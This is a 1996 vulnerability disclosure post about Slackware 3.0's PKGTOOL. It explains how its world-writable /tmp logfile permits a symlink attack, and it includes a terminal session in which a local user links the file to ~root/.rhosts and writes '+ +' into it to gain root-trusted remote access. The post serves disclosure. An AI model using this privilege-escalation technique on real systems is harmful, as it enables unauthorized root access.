[BUG] Vulnerability in PKGTOOL
                                       
   Sean B. Hamor (hamors@LITTERBOX.ORG)
   Mon, 26 Aug 1996 21:22:49 -0400
   
Note:

  I'm not sure whether or not information this has been previously released.
  I found this earlier this evening while poking around, and apologize if
  I've just found an old bug.

  I verified the existence of this bug in PKGTOOL for Linux Slackware 3.0.
  My assumption would be that most other Linux distributions are effected as
  well.


Synopsis:

  A problem exists in the way PKGTOOL handles the /tmp/PKGTOOL.REMOVED
  logfile.  This logfile is created mode 666, which allows any user to write
  to it.  Although this file is usually created the first time PKGTOOL is
  run and can't be removed by normal users, a problem develops if root or
  the owner of the logfile deletes it for some reason or if PKGTOOL has
  never been run before.


Exploit:

  If /tmp/PKGTOOL.REMOVED gets deleted or hasn't been created yet, any user
  can now create a symbolic link from /tmp/PKGTOOL.REMOVED to ~root/.rhosts
  (for a generic example).  The next time PKGTOOL is run, which will more
  than likely be run by root, ~root/.rhosts will be created as a 666 file
  with the logs from PKGTOOL as its contents.  One may now simply do an echo
  "+ +" > /tmp/PKGTOOL.REMOVED, then rm /tmp/PKGTOOL.REMOVED.

  For this example, root is the victim while hamors is the attacker:

hamors (2 20:57) litterbox:/tmp> ls -al | grep PKG
- -rw-rw-rw-   1 root     root        16584 Aug 26 18:07 PKGTOOL.REMOVED.backup

hamors (3 21:00) litterbox:/tmp> ln -s ~root/.rhosts PKGTOOL.REMOVED

hamors (4 20:58) litterbox:/tmp> cat PKGTOOL.REMOVED
cat: PKGTOOL.REMOVED: No such file or directory

God (17 20:59) litterbox:~# pkgtool
  root now uses PKGTOOL to delete a package

hamors (5 DING!) litterbox:/tmp> head PKGTOOL.REMOVED
Removing package tcl:
Removing files:
  ...

hamors (6 21:00) litterbox:/tmp> echo "+ +" > PKGTOOL.REMOVED

hamors (7 21:00) litterbox:/tmp> cat ~root/.rhosts
+ +


Verification:

This vulnerability has been tested on Linux Slackware 3.0 with the stock
installed PKGTOOL.